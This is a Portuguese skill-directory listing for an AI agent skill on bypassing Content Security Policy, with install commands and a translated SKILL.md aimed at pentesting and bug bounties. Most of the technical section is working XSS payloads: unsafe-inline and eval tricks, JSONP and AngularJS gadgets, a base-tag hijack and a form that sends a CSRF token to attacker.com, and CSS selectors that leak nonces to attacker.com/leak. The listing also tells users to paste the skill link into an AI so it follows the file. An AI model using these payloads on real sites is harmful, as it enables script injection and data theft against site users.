Pular para o conteúdo
Skillpedia
Segurança35 mil · #6047

performing-content-security-policy-bypass

Ensina seu agente de IA a proteger aplicações contra ataques.

O que ela faz

Esta ferramenta ajuda a encontrar e explorar falhas na configuração de segurança de sites (chamada Content Security Policy - CSP) para conseguir executar códigos maliciosos, mesmo quando o site tenta impedir isso.

Quando usar

  • ✓Quando você encontra um código malicioso que o site bloqueia.
  • ✓Ao testar a segurança de sites para ver se a política de segurança está forte.
  • ✓Durante caças a bugs (bug bounty) onde a política de segurança impede o ataque.

Exemplo do que pedir para a IA

“Como posso tentar burlar a política de segurança deste site para executar um script?”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-content-security-policy-bypass/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-content-security-policy-bypass/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

A ferramenta analisa as regras de segurança do site e procura por brechas conhecidas, como permitir scripts diretos ou usar serviços externos de forma insegura. Ela tenta explorar essas brechas para executar código.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-content-security-policy-bypass

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/performing-content-security-policy-bypass/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

Realizando Bypass de Content Security Policy

Quando Usar

  • Quando XSS é encontrado, mas a execução é bloqueada pela Content Security Policy
  • Durante avaliações de segurança de aplicações web para avaliar a eficácia da CSP
  • Ao testar a robustez da CSP contra técnicas de bypass conhecidas
  • Durante a caça a bugs onde a CSP impede a exploração direta de XSS
  • Ao auditar a configuração do cabeçalho CSP em busca de fraquezas de segurança

Pré-requisitos

  • Burp Suite para interceptar respostas e analisar cabeçalhos CSP
  • CSP Evaluator (Google) para análise automatizada de políticas
  • Compreensão das diretivas CSP (script-src, default-src, style-src, etc.)
  • Conhecimento de técnicas de bypass de CSP (JSONP, base-uri, object-src)
  • Ferramentas de desenvolvedor do navegador para monitoramento de violações de CSP
  • Coleção de endpoints JSONP de domínios permitidos (whitelisted)

Fluxo de Trabalho

Passo 1 — Analisar a Política CSP

# Extract CSP from response headers
curl -sI http://target.com | grep -i "content-security-policy"

# Check for CSP in meta tags
curl -s http://target.com | grep -i "content-security-policy"

# Analyze CSP with Google CSP Evaluator
# Visit: https://csp-evaluator.withgoogle.com/
# Paste the CSP policy for automated analysis

# Check for report-only mode (not enforced)
curl -sI http://target.com | grep -i "content-security-policy-report-only"
# If only report-only exists, CSP is NOT enforced - XSS works directly

# Parse directive values
# Example CSP:
# script-src 'self' 'unsafe-inline' https://cdn.example.com;
# default-src 'self'; style-src 'self' 'unsafe-inline';
# img-src *; connect-src 'self'

Passo 2 — Explorar unsafe-inline e unsafe-eval

# If script-src includes 'unsafe-inline':
# CSP is effectively bypassed for inline scripts
<script>alert(document.domain)</script>
<img src=x onerror="alert(1)">

# If script-src includes 'unsafe-eval':
# eval() and related functions work
<script>eval('alert(1)')</script>
<script>setTimeout('alert(1)',0)</script>
<script>new Function('alert(1)')()</script>

# If 'unsafe-inline' with nonce:
# unsafe-inline is ignored when nonce is present (CSP3)
# Focus on nonce leaking instead

Passo 3 — Explorar Endpoints JSONP de Domínios Permitidos

# If CSP whitelists a domain with JSONP endpoints:
# script-src 'self' https://accounts.google.com

# Find JSONP endpoints on whitelisted domains
# Google:
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>

# Common JSONP endpoints:
# https://www.google.com/complete/search?client=chrome&q=test&callback=alert(1)//
# https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js

# If AngularJS is whitelisted (CDN):
# script-src includes cdnjs.cloudflare.com or ajax.googleapis.com
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>

# Exploit JSONP on whitelisted APIs
<script src="https://whitelisted-api.com/endpoint?callback=alert(1)//">
</script>

Passo 4 — Explorar Bypasses de base-uri e Form Action

# If base-uri is not restricted:
# Inject <base> tag to redirect relative script loads
<base href="https://attacker.com/">
# All relative script src will load from attacker.com

# If form-action is not restricted:
# Steal data via form submission
<form action="https://attacker.com/steal" method="POST">
  <input name="csrf_token" value="">
</form>
<script>document.forms[0].submit()</script>

# If object-src is not restricted:
# Use Flash or plugin-based XSS
<object data="https://attacker.com/exploit.swf"></object>
<embed src="https://attacker.com/exploit.swf">

Passo 5 — Explorar Bypasses de Nonce e Hash

# Vazamento de Nonce via seletores de atributos CSS
# Se o atacante puder injetar HTML (mas não script devido ao nonce da CSP):
<style>
  script[nonce^="a"] { background: url("https://attacker.com/leak?nonce=a"); }
  script[nonce^="b"] { background: url("https://attacker.com/leak?nonce=b"); }
</style>
# Força bruta em cada posição de caractere para vazar o nonce

# Detecção de reutilização de Nonce
# Se o mesmo nonce for usado em várias páginas ou requisições:
# Capturar o nonce de uma página, usá-lo para injetar script em outra

# DOM clobbering para sobrescrever a verificação de nonce
<form id="csp"><input name="nonce" value="controlado-pelo-atacante"></form>

# Gadgets de script em bibliotecas permitidas
# Se uma biblioteca JS permitida tiver um gadget que cria scripts:
# jQuery: $.getScript(), $.globalEval()
# Lodash: _.template()
# Bypass de DOMPurify via poluição de protótipo

…
Perguntas frequentes

O que é Content Security Policy (CSP)?

É uma camada de segurança que os sites usam para dizer ao navegador quais fontes de conteúdo (como scripts e imagens) são permitidas e quais não são, ajudando a prevenir ataques.

O que são 'unsafe-inline' e 'unsafe-eval'?

São permissões dentro do CSP que, se habilitadas, enfraquecem a segurança ao permitir a execução de scripts diretamente no código HTML ('unsafe-inline') ou a execução de código JavaScript gerado dinamicamente ('unsafe-eval').

O que é JSONP?

É uma técnica antiga que permite carregar dados de um domínio diferente, mas que pode ser explorada para executar código se não for configurada corretamente e se o domínio for permitido pelo CSP.

Detalhes

Descrição original do autor

Analyze Content-Security-Policy headers and bypass them to achieve cross-site scripting by exploiting unsafe-inline/unsafe-eval, whitelisted JSONP endpoints, base-uri and form-action gaps, and nonce/hash weaknesses, then exfiltrate data even without script-src control. Use during web application security assessments or bug bounty hunting when XSS is found but blocked by CSP, or when auditing CSP h

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularidade

Estrelas no GitHub
35 mil
Posição no ranking
#6047
Licença
Apache-2.0
Atualizada em
31/08/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas